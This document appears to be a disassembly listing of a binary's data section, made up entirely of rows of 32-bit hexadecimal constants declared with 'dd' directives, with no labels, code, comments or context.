		dd 0EC302071h, 7896EAB8h, 942B3A9Bh, 11286C36h,	64A59C1Fh
		dd 71979003h, 0C0529B5Dh, 7969566h, 536979B8h, 0E809CB78h
		dd 8460F087h, 669E076Bh, 91649DD2h, 45A9BF8h, 7A7FC0FAh
		dd 0E799860h, 6265635Dh, 5818926Ah, 0B8922615h,	414FC09h
		dd 122480C4h, 57FBC96h,	253611F7h, 0A18497D0h, 705DFA75h
		dd 0C81335B0h, 4C41F272h, 2FA5D079h, 1463870h, 0D82FDCAh
		dd 60E94CA4h, 350F7A14h, 0F65C8BA6h, 1E810C18h,	0CBBE0FECh
		dd 97007B82h, 0D1D7E2E3h, 48055700h, 9AB2D533h,	7C5D1D9Ch
		dd 0E9A445EFh, 8174C768h, 0BE11D7B8h, 7BFB0F70h, 7181F8E8h
		dd 0B29633CBh, 61B3A0D9h, 73630878h, 0A848B79h,	0FD06C1C0h
		dd 282967Ch, 54AEEA6Eh,	0BF3F7CB4h, 10DD7C2Dh, 23970D84h
		dd 868E4C6h, 0A5FB708Dh, 0D838808h, 0CEF82E57h,	0DD20ACC6h
		dd 15BF0D27h, 6404B4Fh,	2B1E509Ch, 0A314DB61h, 18EB82D4h
		dd 0A08CBBD2h, 8FF36481h
		dd 99808118h, 0A3032529h, 4098E804h, 452E5643h,	18D32210h
		dd 0D700C1F8h, 27AC1EE0h, 7C90BCCCh, 14DCB108h,	0D37848F2h
		dd 284C1548h, 6415AE89h, 0F591EE6h, 3D2155FCh, 7090E687h
		dd 7F98EACFh, 470054F2h, 0B8A99973h, 0EEA6605Bh, 9F913C69h
		dd 0C578762Ch, 0A8508079h, 54B05D65h, 0B21D2BF8h, 9D134785h
		dd 3FDC7C80h, 0D241298Ch, 4D898744h, 0ACC770BCh, 0C9535367h
		dd 8D150F04h, 0CC68A79h, 80030868h, 0E473779Bh,	0BA8F7451h
		dd 0F07862F6h, 88318442h, 0C21094B2h, 8038E8A0h, 3E81342Eh
		dd 0A66CD05Ch, 0ED12F708h, 308A0A27h, 219DDAD1h, 0B0C421A6h
		dd 0C381444Dh, 86764A4h, 701042C4h, 886E2E14h, 0DF9CBE26h
		dd 5E2ED705h, 52B1C461h, 50008C59h, 684B79BAh, 19182817h
		dd 12960999h, 48942497h, 22929195h, 91904493h, 8F128E89h
		dd 8D488C24h, 8B228A91h, 89898844h, 0E0871386h,	0FA488AF6h
		dd 3142F67Fh, 0EDC1B283h, 0EFB89439h, 9792B284h, 525F5904h
		dd 0BC80C608h, 9B3DD76Bh, 33F19C0Fh, 80F38F4Bh,	0D1EDD808h
		dd 0EEECB3h, 0D75A983Ch, 0F14C99ABh, 0D154D1F7h, 0E3BCE1BBh
		dd 1C644020h, 90F73204h, 0B3CA0E68h, 99A187D2h,	535E5D82h
		dd 1FFA5F48h, 4A56FD04h, 8688CC36h, 7A46821Ch, 0BE408CC8h
		dd 5C384B29h, 66986404h, 9D407E7Bh, 0A08967ACh,	0A0A309C8h
		dd 0FD048518h, 1B6F7057h, 0E656BF03h, 0E1D26640h, 10431557h
		dd 95339AE3h, 0D8696038h, 0F207A396h, 3F6C56D6h, 187C64C7h
		dd 0B9CA1EDEh, 0A7F1811Ah, 43F5BC84h, 43E0C11Ch, 0D20A3E79h
		dd 2836CE14h, 70EAFA45h, 175495E4h, 1541B061h, 309F87EEh
		dd 0B1850073h, 0A0265182h, 7F006478h, 5B4A32BAh, 347A495h
		dd 6A93BD16h, 66889778h, 7974EE18h, 0A6917400h,	0A8958675h
		dd 93600362h, 7FCB5997h, 0E86979E1h, 64E8758Ah,	74779C03h
		dd 0A75232B1h, 677985C0h, 40AC6199h, 0F064AA69h, 6A797B9Dh
		dd 40335F2Ah, 0AD1E60F8h, 73077671h, 9EC11798h,	89E16775h
		dd 98823049h, 98635A6Ch, 0F47A1C99h, 0CB80925Dh, 6AA502AFh
		dd 6CA66067h, 95DF609Ah, 0FA5A45DCh, 0A66AA420h, 57ACE81Dh
		dd 5F761867h, 60A4E4A8h, 64A22502h, 45635067h, 696A8530h
		dd 66C40095h, 6F9868A3h, 7C648A15h, 80CB8F38h, 0B76FAA8Eh
		dd 746B7D9Eh, 2314A591h, 7F328040h, 538EDC6Fh, 993A5F71h
		dd 0A58A1579h, 67A40EF8h, 59EF7D63h, 86505770h,	344E289h
		dd 4B88BD14h, 0B4E0827Ah, 0A93A8A66h, 98620961h, 8E34816Dh
		dd 356974h, 268F63D0h, 9B466B5h, 98206F67h, 0A2AE5F62h
		dd 968A271Fh, 0F0E860D3h, 0CB28506Ch, 7CA9D11Fh, 0A06E2066h
		dd 0A8926FA6h, 0EC654871h, 58FE506Bh, 0DC29A761h, 5D1C91ACh
		dd 57692476h, 6BA40030h, 6887CE67h, 56917725h, 58A15A98h
		dd 0E56077B8h, 65546062h, 9A2C7BF0h, 950FAD97h,	915C035Eh
		dd 634013A1h, 0CEC000A8h, 627870A6h, 5A60530Eh,	12738F65h
		dd 3C8E8C00h, 0C76D9691h, 1E679B56h, 0FD394AFh,	2B0E5EFCh
		dd 5CA00372h, 1019A699h, 94609B62h, 58DDE7D3h, 979D3689h
		dd 93D88155h, 0AB202B64h, 6F91E865h, 0A5E930A8h, 67D4A255h
		dd 9413FF5Ah, 6360A012h, 0FFD03EABh, 0A583F852h, 52C27468h
		dd 0DC05D4ECh, 0CE7760ACh, 0F01D6098h, 5E790F7Fh, 0FE9E5295h
		dd 25B893FCh, 0FF7AB05Ch, 0E575C89h, 5A8984h, 902B6AE8h
		dd 3085F9ABh, 857364A5h, 7072FF7Ch, 5F0C7BAAh, 164769D8h
		dd 2A79374h, 73A4B5C4h,	6797B4C1h, 765313E4h, 0C0980C62h
		dd 0FFA36598h, 0A4E3DC61h, 7797D881h, 75AAE1E3h, 1C48C462h
		dd 9E2523Dh, 0C4C25A66h, 6765E494h, 0C091AA50h,	62FD8C40h
		dd 48702070h, 7D7CFC5Fh, 1F68DF95h, 9A7602A6h, 20E467A5h
		dd 2C219096h, 9A3C0F49h, 0BC415D80h, 50343060h,	2B6658C0h
		dd 3E6DA593h, 0B066655Bh, 895380DCh, 17504818h,	0CDB5BAEh
		dd 7C8EB0EBh, 858A2D1Dh, 64C18493h, 291EDEABh, 0D11866B4h
		dd 64C86443h, 98141472h, 0EF68676Ah, 86758900h,	7764A796h
		dd 6A2ED8B0h, 85B9647Bh, 7473979Ah, 0F8CD1856h,	73CE5010h
		dd 17807448h, 44696677h, 0BA966220h, 6097F0D1h,	773A443Ch
		dd 6AA59909h, 0D49E3CE4h, 0A0129863h, 2E5D55A6h, 39809C64h
		dd 759F9Eh, 69798D62h, 762E9399h, 5807905Fh, 5447B97Bh
		dd 6502CC8h, 21719B67h,	62637404h, 89BF79A9h, 0F6806500h
		dd 0CB06C85Bh, 1768A2BBh, 54D7983h, 0D47393E0h,	8B342EE8h
		dd 62B8C1AFh, 68D0507Dh, 9EAF0FBBh, 90DC376Bh, 6A933AB6h
		dd 1DB8F0D0h, 7B7E18h, 6BA96014h, 0AD3BCE69h, 7421E170h
		dd 78C8A766h, 71A62893h, 0E85897C8h, 647790CBh,	85EE27E0h
		dd 6A388008h, 869F5F10h, 67669401h, 0E3D39783h,	0BE288E99h
		dd 0B5123A60h, 0DC1C10A8h, 0D873621Fh, 0AA95209Eh, 9169641Eh
		dd 5F277F7Ah, 0B9B80BA5h, 0C45233E0h, 8C808879h, 5652A841h
		dd 47DDEC28h, 0C6925D71h, 9A0AD84Bh, 0DC636675h, 79CE143Ah
		dd 0D3D841D0h, 6C7880FFh, 0A14C935Ah, 82507804h, 0A9029180h
		dd 3FF81F75h, 0A6B08576h, 7053F040h, 5FA5945Dh,	65DC3158h
		dd 529DE077h, 67E97564h, 4A58A90Ah, 983662DCh, 30C2605Ah
		dd 0D11F61A9h, 5B7882D4h, 44419F5Eh, 29F44D91h,	0F0D29364h
		dd 702042A7h, 0F787C30h, 6269718Ch, 7FE8790Ch, 12F0C0D0h
		dd 188B746Ah, 5A46B0FEh, 63A61394h, 7CDC0078h, 75A49982h
		dd 0F777CB07h, 0BC60C0E4h, 6F4B3B5h, 168898A0h,	5200413Ah
		dd 0BB899640h, 33F2374Ch, 4A0854B3h, 49732100h,	0F3667F96h
		dd 4635067Ah, 80EDD511h, 7425C00Ch, 3C15883h, 0BB8E6BD8h
		dd 0DAC05CDDh, 4518C091h, 93208D70h, 307DF078h,	9C10BF3Ch
		dd 907C080Fh, 3BBE7201h, 0CEF0DDBAh, 61CB3881h,	3A8C163Ch
		dd 0CED18B4h, 837B81A6h, 0AD4EA368h, 0B8754080h, 55D20025h
		dd 5AAC0C3Dh, 0D5012ED4h, 837F06EEh, 1CC4F073h,	9B3D0256h
		dd 4782C767h, 4B23209Eh, 0C87902D5h, 0E003A51h,	0C164DDC4h
		dd 0EFF37A90h, 0DE8450D4h, 0C93E46AFh, 18F00CCFh, 0A413028h
		dd 881C2EBEh, 12C38CD4h, 0A0E079Eh, 40DFD067h, 0A7EC8D92h
		dd 177A130Dh, 344FAE8Ch, 2AB53EDh, 0B3AD1CF8h, 7E466700h
		dd 8B0F2589h, 0BF4068F4h, 974E7D3Dh, 215CCD0h, 881C4092h
		dd 89201848h, 4D00BC9Bh, 0F4A13A36h, 4871C735h,	84230C86h
		dd 8D967C01h, 4D186CBBh, 457788h, 0A5598C96h, 92B6BF82h
		dd 0A4A861C1h, 0C88A4FB5h, 0CB2BEh, 21170818h, 7B0F3F59h
		dd 0E5871F3h, 40949596h, 0DC05DE14h, 6E5CBB66h,	2CC0E004h
		dd 0B9F96441h, 4CE43ADDh, 4A620CCBh, 1F50864Bh,	0B32370A4h
		dd 101C233Bh, 23A44744h, 763A86FCh, 1B302147h, 44FD618Bh
		dd 0E555008Eh, 492AD5C3h, 81030398h, 0C19C8D63h, 0C2D0069Eh
		dd 70F57405h, 0F9D10C1h, 685B72D1h, 47D61E88h, 0F2E307F5h
		dd 2089F9C7h, 0C0E58B68h, 0FA10280Dh, 10A14C54h, 708C51BCh
		dd 0DEF501A3h, 88123BD2h, 211FD319h, 7F5377FDh,	0B2D50B02h
		dd 62744F2Eh, 0A8334F30h, 50C78A8Eh, 9AE985Fh, 3353F9C4h
		dd 5048D011h, 0DE59ECA0h, 0F13F200h, 1085DF87h,	82190F44h
		dd 0D8C13B45h, 0CD05BB84h, 708440F9h, 4899B98Fh, 8F3DFEF0h
		dd 5C88FEC7h, 8843162Ah, 61A66F00h, 327487F3h, 0BEF50099h
		dd 0E2313D08h, 0BB76B47Ch, 0D1FD8830h, 0E5C3C194h, 60DD4C20h
		dd 7595E9E8h, 0BCA08508h
		dd 0A21E8B89h, 6A439B01h, 916ECBA9h, 0B52F1A81h, 33052014h
		dd 5F119003h, 0F63899C9h, 0DEEE08h, 0B7495E4h, 0D3C74226h
		dd 0AA27FB04h, 80EBF3FCh, 0BA45AE67h, 0C31CAB1Fh, 128AE8C0h
		dd 0FC4CF1h, 9F9D341Eh,	7065B53Dh, 0C6482300h, 0D1E894EBh
		dd 0C1BBFC68h, 5F14F560h, 7FA1DC27h, 9C176C00h,	3B984D3Eh
		dd 57890EF8h, 48B88B35h, 1830F219h, 51AA99B0h, 488EE9E6h
		dd 86C054F1h, 4EB6E3EBh, 774B8B00h, 8047E234h, 3050C12Fh
		dd 83ABD4B3h, 0F6176FA8h, 1B180034h, 9B7E6488h,	2F0F70F0h
		dd 804CE710h, 0FC33E118h, 0D1918BAh, 1AB5B199h,	83829D39h
		dd 12E93A3Fh, 0A7083077h, 9D61DC21h, 0C9F7B90Fh, 81E037Eh
		dd 2E5006D1h, 809EA8ABh, 341A8306h, 81D8CF73h, 0BA109888h
		dd 0F35463DCh, 0C320209Ch, 2848C5Fh, 69958F1Dh,	80A2E906h
		dd 0A580EBC4h, 0DA56EA6Ch, 8CC6372h, 0A621C0h, 3555F5E3h
		dd 0B97774BDh, 5902FE01h, 0CA5C1F6Eh, 4613A080h, 67FF2595h
		dd 5BD77815h, 0F7C50CD8h, 48478D6h, 0DD92E3E5h,	7F3E00E4h
		dd 71671E58h, 5FB719B9h, 9ED508A9h, 58801C21h, 8B7139B3h
		dd 507E41Ah, 846350A0h,	0BAC42897h, 2F6C8E06h, 0E890DC30h
		dd 9464305Bh, 0E4172A28h, 6F18CB60h, 2BB20C86h,	1F097E1h
		dd 7DB5DE11h, 5B1024B7h, 0F126151Fh, 6C6212D2h,	0D7620A0h
		dd 8F043526h, 0DDCE0232h, 499B5481h, 88606005h,	0BB1F5E6Eh
		dd 603CF28Eh, 0AC632E41h, 6BA0C9C2h, 88407F86h,	2B26C915h
		dd 47750358h, 7B5A720h,	0E8A6FD58h, 0E990D202h,	50694A0h
		dd 0A71282CAh, 0A8709AD9h, 53942554h, 2E0E9470h, 2058A8B3h
		dd 0FE0062E1h, 3E78FCFBh, 603B6867h, 349A684Ah,	0C0C1EDF3h
		dd 4B935847h, 29802422h, 0D1C5738Dh, 2DF66E03h,	935053h
		dd 0B0542258h, 0B9F2A0A1h, 0A50C48A8h, 0CC005492h, 0AC5DB790h
		dd 1EC8758Bh, 92CE070Ah, 0CB68015Eh, 813F9C46h,	6C1961B0h
		dd 8424C427h, 68630C1Ah, 0FB907E59h, 0B00BBA24h, 809D1CC0h
		dd 220F461Ah, 63D600AEh, 0CBC5259Dh, 0F500FAC1h, 35809CA4h
		dd 0E6CCA52Eh, 284148B4h, 5ED51F81h, 0B840D618h, 6F89EBE7h
		dd 0E80F1208h, 41CFA281h, 0A56768A8h, 9C3ADC00h, 85FE5B00h
		dd 0B01935ABh, 84F4D04Bh, 0A82EEB06h, 0D88CD0CEh, 0BCCC8E48h
		dd 92E8CBFh, 74003F40h,	0A101A98Ch, 0F81515C7h,	3081FCAFh
		dd 8A4CC53h, 79A10112h,	2C5B3174h, 0AD18A8ACh, 4506B51Fh
		dd 380CF5DFh, 4C9918A7h, 0ACBC64FBh, 0FECE008Ch, 0F7B5EF43h
		dd 8200902Dh, 7AC6D5FDh, 4651289h, 43C59535h, 0F30706F0h
		dd 79A700D9h, 0E23886F9h, 6FE8158Eh, 64247E79h,	586AAC1Fh
		dd 1347BB0Bh, 0CF10100Ch, 2BD84055h, 8420C758h,	608B54BBh
		dd 2020F212h, 4AA115F8h, 8010813Fh, 8832BADDh, 1258B922h
		dd 4E8B5AE1h, 665220ECh, 65027840h, 8F341B32h, 467464D7h
		dd 588002E6h, 3191671Dh, 0B81B10D8h, 0C9430758h, 21C2A516h
		dd 34A04F6Eh, 4043800h,	7C90D185h, 0A5760CD8h, 60D7C434h
		dd 3D78B144h, 984C8526h, 1DF8410h, 1F91F213h, 6660B7FFh
		dd 90744D61h, 8CA5B8h, 8B982181h, 0F36D9212h, 19048C9Bh
		dd 1897A20Ch, 16485FD0h, 67864h, 66A18D68h, 8EB9F4ACh
		dd 6026D409h, 24EC91E7h, 880C04F6h, 900F8C4h, 154D6DECh
		dd 1DCE1F88h, 58F21491h, 8E2E91B9h, 7440A0ACh, 82028CECh
		dd 61671B58h, 13D919BAh, 4F58D829h, 0DF4A3A3Fh,	0B2F8630Ch
		dd 0FA098C88h, 7736C0Fh, 2B987704h, 0A67A0C1Ch,	0EC00AC89h
		dd 2400A33h, 0EA987FAh,	9F780F90h, 8455F4E0h, 27146EBEh
		dd 6BC4870h, 0CC265B2Ch, 1CF12C68h, 0B3AE4220h,	0E8A008E4h
		dd 80B8912Fh, 0E0DE3835h, 0E0A8E062h, 80E5570Ch, 81738986h
		dd 696EB609h, 9440A9BBh, 4B480AA8h, 9030BFA8h, 47E41A90h
		dd 69E0C020h, 4C34A4CFh, 182314A5h, 849D1D0Bh, 14D80758h
		dd 64D788ABh, 1D7C9D00h, 71484558h, 7A8B87Dh, 8D2E6254h
		dd 2578903Ch, 5678B64Bh, 0F18428B3h, 0C898BA4Ch, 5B2F09F5h
		dd 2848A570h, 0B401B8E5h, 0C0C6BFF2h, 0CC700B49h, 0A4AD547Bh
		dd 0CBC0FFD4h, 270F009Eh, 3BB88E90h, 28983718h,	0F4A9E720h
		dd 0F27320FCh, 1D205E09h, 95CF8082h, 9A975AAAh,	4EE3055Ch
		dd 4E4CD7ECh, 0CE298CDCh, 0C4D45430h, 83F4D338h, 0F40679Ch
		dd 0EA6001B8h, 16EC7E6Ah, 0B080C63Ch, 9D04B350h, 0FB02F8BAh
		dd 2D5C88B7h, 205C40C9h, 0CCDF262Ch, 0FC024F38h, 3C48CBC3h
		dd 0B940137Ah, 0C8246242h, 2007ABFFh, 0BFC383h,	9013E239h
		dd 0AD37A5C0h, 14805890h, 5F0E14E8h, 0A10D1C07h, 443C27E2h
		dd 169E2074h, 606B958Fh, 16F5ED54h, 11DA6C23h, 0E5A400BEh
		dd 9983EBF5h, 0F4DCE1D4h, 78650C1Ah, 3499B063h,	15C87320h
		dd 98A40D7Fh, 0C0F3F41Dh, 0D861D2DCh, 2C00EA28h, 269E3181h
		dd 0F93F2245h, 0A17F4888h, 0B335F401h, 9C42B03Ch, 44E0DFE4h
		dd 4D607B20h, 14079520h, 0C4C2001Ah, 414082BBh,	0F707C9FBh
		dd 16D1B0BEh, 1B678890h, 0D0A500DBh, 22560D6Dh,	0E420F6F2h
		dd 3DFB24F7h, 204E14A2h, 18D80AF1h, 0E42803F9h,	0FB396ED9h
		dd 0C45D00AFh, 80EB4D2h, 802B76D3h, 0EA82E82Ah,	0F98A0386h
		dd 444FC125h, 0B5D0A390h, 0FBB8C200h, 3201E17Bh, 0C3310030h
		dd 4C39D95Dh, 58C072B2h, 0BE928EC9h, 85F82623h,	7DEF0C83h
		dd 21C08208h, 4DBE8AAFh, 104B6057h, 691F5E6Eh, 7C23EA00h
		dd 3CA97158h, 74B600FDh, 0C3322270h, 6D03890Ah,	687FFA93h
		dd 0F790066Bh, 0F1D7E0F6h, 74324F18h, 27EE18h, 0A43FC9DDh
		dd 3D571CFBh, 35969C9h,	0D0C2CAE0h, 66BA72EEh, 214F083Fh
		dd 8D4E7C00h, 0B37DE176h, 0F7B1C078h, 0AE3EEBCh, 87CA0B00h
		dd 678489DFh, 704D607Ch, 0C5A5BEFBh, 86401903h,	5462057h
		dd 8F3A3518h, 61B801CAh, 80E51383h, 889267C8h, 0A035197Fh
		dd 0E01EEED0h, 0C4BF0A20h, 80B0C390h, 5B0A6E29h, 23753B81h
		dd 413149C0h, 0F5AA5C9h, 0E98E9BE4h, 3AE162E0h,	9A519105h
		dd 0F72C0084h, 1892E0C6h, 73427E01h, 984F0A3Fh,	15D8D99Dh
		dd 9380DC4Dh, 8DF824BEh, 0B084448Ch, 80BE8B0Eh,	91F4A76Dh
		dd 74F77720h, 0A03A5475h, 0A3B83CBCh, 7DCAC060h, 0B9CF98BEh
		dd 21C50365h, 2878FEh, 9932291Bh, 3D934684h, 80E7C33h
		dd 42310015h, 0E0F23221h, 0D05F8C5Ch, 6C0678A8h, 609527B8h
		dd 8882348h, 619C639h, 899FF3D8h, 9390C208h, 7AB30C8Ch
		dd 0D700DCC1h, 0C8AB06D6h, 0F4CB45D4h, 2C4D00D2h, 757222A7h
		dd 4E300A39h, 0BF3531B2h, 0B8E549F8h, 0C064A178h, 32082418h
		dd 0C41E8494h, 1C405E16h, 6687A632h, 70051F89h,	8449840Dh
		dd 83C490CFh, 0A314216Ch, 345844h, 0D4D37EF8h, 0F4308F43h
		dd 0C3F70014h, 0D8FFFD65h, 83E1EBF2h, 6F906260h, 0C8E840A1h
		dd 0C92E6CD6h, 7C009F49h, 7B2422BBh, 90310387h,	3348F80Ch
		dd 0BE81CB80h, 0DF40E87Bh, 0EED91842h, 0D224150h, 3FE0C9C0h
		dd 4CEB98D1h, 8C0280C0h, 9222099Dh, 0FA124D40h,	0BFD6ED00h
		dd 3952AE56h, 0A0C330B0h, 896F3498h, 71CDE330h,	71FCC6E9h
		dd 5DB30C53h, 0DE094AFFh, 0BF0921C0h, 0E68EDCFCh, 904E2BEh
		dd 0A5AD4017h, 55618803h, 14FFA2B9h, 0C0C4C808h, 84983228h
		dd 13223E46h, 3220410Fh, 438B077Eh, 307F2470h, 76E49266h
		dd 84E651D6h, 1188F40Eh, 9C332DC0h, 4CF800D5h, 92F3C24Fh
		dd 7226621Bh, 1E4448F4h
		dd 0CC8D5860h, 1167C223h, 507E0051h, 0AFBCAB8Dh, 487A0724h
		dd 30D5A1BAh, 0C7217BCDh, 8AFF8014h, 0FDD90CB4h, 2448393Ch
		dd 25F9CB2h, 0B60579C2h, 30B50C60h, 0C04E5780h,	0BD132F29h
		dd 8600ED0Bh, 0A9F9F1BAh, 3F0A2E9h, 52DAC05Bh, 8AB1755Fh
		dd 25822E4h, 3EEDB947h,	1277E25Eh, 0F8CC0F90h, 3C5CE390h
		dd 40901E4h, 480424D3h,	8800CE89h, 0B454C00Fh, 3AC37860h
		dd 63FEFD9h, 638844B9h,	4F0F89Eh, 681D6F34h, 715FA081h
		dd 46334D00h, 884B0A24h, 0A0880249h, 0D6F090D5h, 0A351C1B9h
		dd 0D36F33FEh, 30A631C3h, 13404948h, 300DB814h,	15FD684Bh
		dd 0F380C200h, 90E86560h, 83100EF4h, 0CD5163D8h, 0C9C2EA03h
		dd 3E2C3324h, 8D9AC618h, 4A0B1A9h, 0F26324C8h, 3803A098h
		dd 0AF01BCBh, 3BBFD85Ch, 80C49054h, 2098C278h, 77BA09Bh
		dd 7D187160h, 99CA43BCh, 180FF14Ch, 3FDCA1D8h, 6807D821h
		dd 27AB2B41h, 52BFA848h, 8F11B488h, 87B8080Ah, 4EB30B9Bh
		dd 0C8870029h, 0D42628D0h, 1030980Bh, 0C2E45844h, 48C45F19h
		dd 0E71FB840h, 0C37DB8C2h, 998621FDh, 0FE9096D9h, 7F845002h
		dd 0C140E85Ch, 3030D693h, 87D88F1Ch, 5A00B57Fh,	0A6FFCE52h
		dd 0D16CBC0h, 1E0803B6h, 0A2743330h, 33983087h,	71288600h
		dd 2F904538h, 90E1549Fh, 1405E503h, 8B261C18h, 0FCC8C070h
		dd 0C3465355h, 0B01E022h, 31A2FCC1h, 1870728Ah,	24445CACh
		dd 12F0288Fh, 5C204C0Ah, 4190F6F9h, 0EC81F1FEh,	3505B08Ah
		dd 0CC18BEF8h, 5430AC21h, 98EEF700h, 0C486C4A8h, 0FA31F201h
		dd 0FCB0F3D9h, 60871034h, 282F91CEh, 57090C4Ah,	0ADF2F4h
		dd 60D1F348h, 0FA3D01DCh, 0ECB9CF9Ah, 1CD6D8C0h, 5C58D062h
		dd 20984934h, 5A026836h, 77C2CE8Dh, 80105531h, 71008D52h
		dd 174BF7B5h, 483DA946h, 4E6834F3h, 0F03000B0h,	0D9A47903h
		dd 11D91CB9h, 0B77D618h, 79435830h, 4860C001h, 260C97D2h
		dd 0F758E113h, 0FB08BE13h, 44570821h, 0AA848C10h, 0A2098A01h
		dd 5D0BF23Ch, 0F3C4F08Ch, 3309009h, 0FC55B07Dh,	0F42F4896h
		dd 0A420F789h, 0FD3B2BF5h, 7980714Ch, 3AB8D354h, 0A2033871h
		dd 0F08A14Ah, 0BCCFE1BAh, 10849024h, 2945CC5Fh,	0D41ADCF1h
		dd 19B80499h, 0C78D5360h, 113FC223h, 4B790050h,	0C1160E8Dh
		dd 54D89824h, 60E39418h, 1B2D91DBh, 2100ECE2h, 0AA20C9E9h
		dd 924E96h, 2C8FA7B1h, 6CCEF8ADh, 55A0D363h, 0A03DF84Bh
		dd 0C6E50684h, 0F05FFFB0h, 7FA2A0Eh, 5048E62Ch,	88CF51C0h
		dd 2089C221h, 682081B3h, 2A970B7Bh, 9F52D43Bh, 0E341792Ch
		dd 8E8CE63Fh, 90C262C4h, 4E1C208Ch, 0C0A6D3Ch, 1047B487h
		dd 4C770A2Dh, 1C889588h, 21F28AF4h, 903802C0h, 0CC806F4Bh
		dd 0D992C84h, 24942D48h, 483AC24h, 485B0C57h, 0F43C0C48h
		dd 0C45A4D72h, 1B48900h, 343E4EA1h, 0EFC07364h,	0C82068A1h
		dd 0B49F883Dh, 8A449617h, 1223403Ah, 97FB1602h,	0D324409Ah
		dd 0FA308084h, 0D4503160h, 9161D0F3h, 80C11180h, 84953225h
		dd 0C070B926h, 3F321D3Eh, 6FF18700h, 786784D0h,	0CEF7805Eh
		dd 25F51022h, 0DC97D8CBh, 0E1818711h, 0ECBFFE74h, 1CB138D6h
		dd 7B0C5385h, 49F8C440h, 985FD602h, 6344204Ch, 0A04A562Ah
		dd 80B1653Eh, 425D9E38h, 0C4BDD1h, 8862BBF5h, 821FB11h
		dd 8C89D1CCh, 3FE405h, 532D7BFAh, 0D99043B0h, 6E99FC60h
		dd 25B35A93h, 6CA4546Ch, 0BE986052h, 0B5F82329h, 387B8811h
		dd 2402BE90h, 0DB640A18h, 314B8CC0h, 55D45F03h,	0D4E49A2Fh
		dd 7AE19890h, 521000F7h, 87EFFD04h, 0D4039E46h,	0F2BB33BCh
		dd 3D9CE0B2h, 0F8F6EC2Bh, 12096E8h, 0B8BC783Eh,	9058FEB3h
		dd 4B52E203h, 37F9FA1Dh, 0A1607616h, 3402EEF4h,	10F69828h
		dd 342C980h, 2C4D5395h,	20242823h, 0BE0A7639h, 6578208Ch
		dd 0D4808C0Dh, 9F8010E7h, 6191247Ch, 0A8A12B0h,	0C59C5138h
		dd 0F8498197h, 859C58ADh, 8FB488h, 0B677B0BEh, 13755E5h
		dd 0A267801Ah, 303052E0h, 0AD317DB1h, 0B400C2B6h, 2FFD5584h
		dd 1FE48ACh, 86FA0631h,	2049145Fh, 0A105C814h, 853B1B3h
		dd 400C24C1h, 8289065h,	0EC4C1493h, 0D1E1EC13h,	7132F400h
		dd 0DC40EE38h, 0F8C56B0Ch, 50D2D71Ah, 0BB1060EEh, 2ED58086h
		dd 9105AF01h, 722D76F4h, 0A1806438h, 0F974A5CFh, 213F40AFh
		dd 254108D7h, 80C93892h, 0E5439C60h, 3EBB4400h,	0D3C47A13h
		dd 0F6BE3C04h, 0FC9DFA43h, 247880C2h, 0A74D6100h, 35D47042h
		dd 0D39474BFh, 39E04968h, 6CE8AC0Eh, 80389308h,	0E1CFF3BCh
		dd 4F26C243h, 6F957434h, 0C4660FC0h, 90177ECEh,	0FC505867h
		dd 8CEB535Ah, 10E644h, 9627FCC6h, 65F47D36h, 751F801h
		dd 8FF6EF88h, 0F2D8FB10h, 0C4896467h, 5073EBF2h, 782C09C4h
		dd 0B0C974F7h, 425611B0h, 128031B8h, 7578CFC0h,	9A5C0E72h
		dd 0A0007F74h, 0DF40A97Ch, 1658235Ch, 48CA1446h, 55C31B84h
		dd 9BF6AE8Dh, 1521184h,	0DF8D4D7Bh, 99C475A1h, 6D60C064h
		dd 7963B8BDh, 8B44589Eh, 40DAE445h, 14607E80h, 480050D0h
		dd 0EDAF4736h, 143D7D0Eh, 0E4B83E27h, 48F29711h, 8C11E8D8h
		dd 2DD193Ch, 98863AD8h,	524090D9h, 0B5780007h, 2B012202h
		dd 9A02177Fh, 23D280ACh, 0B448EBB4h, 0E8BB3482h, 30B0C238h
		dd 53D87693h, 0A1C0C1F4h, 0AE2D6EF8h, 0C965029Bh, 0E1C8F6FAh
		dd 0F744D852h, 4C610F9h, 0A1AC17DFh, 0F4785004h, 5836101h
		dd 87820E1h, 0EC325789h, 0D6D5F700h, 0E59BFAEh,	4F3A1100h
		dd 0DC4C4584h, 3F49EE4Dh, 0E0D3C9B2h, 0B304EA2h, 0A47C01D9h
		dd 0CF75D746h, 7AF07257h, 0B68E5200h, 9DE3DF16h, 209090ACh
		dd 0D400585Ch, 0F8CED5BAh, 4CED80C2h, 4B1D0C5Ah, 3E5B4F48h
		dd 70180D73h, 3BB86019h, 14CAC488h, 0D8BB7E1Ah,	9C90E48Bh
		dd 0EB0067D2h, 42A99148h, 7D168Ah, 0C2C8D82Ah, 586C79E1h
		dd 7494C60h, 0F8599h, 0F481BAAFh, 161ABF0Bh, 0D100AFB8h
		dd 0C940F6F0h, 0A1E75D24h, 0C321D4h, 7BA00771h,	0F030A9F5h
		dd 65DFB09h, 0D36482C9h, 46B07A77h, 0FCC7028Ah,	1CBB5354h
		dd 0FCC00A04h, 60C3C592h, 1216E4ACh, 21DE12B0h,	20B60F74h
		dd 0D9115BECh, 35003AF0h, 0D01C947Ch, 0C2E642E0h, 9F902Dh
		dd 0EF6E1A40h, 0C039D01Eh, 12427810h, 670A3427h, 108C0E1h
		dd 7444245Bh, 7103E546h, 2335C455h, 0D53C90D0h,	2BB2ECF1h
		dd 0F388589Ch, 20CC289Fh, 38A1E62Ch, 8DC4191Fh,	6FC22FCDh
		dd 7F020416h, 6A968D51h, 0A6C985Dh, 39382B89h, 808E91C0h
		dd 5358FCCBh, 0E0087DBh, 3D3EFCC4h, 0DDBA01D5h,	80C35FA4h
		dd 0F34024F9h, 2AEB2312h, 1FB028D3h, 0B30BD319h, 0D4CB89E9h
		dd 82215100h, 8829BC5Eh, 7CF6EAD9h, 0EDB0223Ch,	172C550Dh
		dd 1C58380Bh, 52504D9h,	95A24F84h, 0CC9403E4h, 65A73E8Eh
		dd 24488744h, 672401B5h, 0E8475794h, 305338B5h,	0E2C8F0CBh
		dd 7400B8CAh, 7E3317A3h, 42FF5AC3h, 0E5278324h,	0D494204Ch
		dd 841DFD10h, 1862987Fh, 102CF6F9h, 2444C0EBh, 4B03005Fh
		dd 5E602830h, 8867552Bh, 0E22C8303h, 6CC1847Bh,	0E301D304h
		dd 0CA18ED1h, 965C01B9h, 48202659h, 0CC6049F4h,	3EC06E4Ah
		dd 4F369461h, 0BCBF22A8h, 0A8404EC4h, 71C43B29h, 3F38DD00h
		dd 0FF4CBE19h, 4BBC1DBBh, 0C79934Ah, 27E192D0h,	5F2CF809h
		dd 9C04947Eh, 0E1465644h, 11F40A76h, 9982791h, 3481421Ch
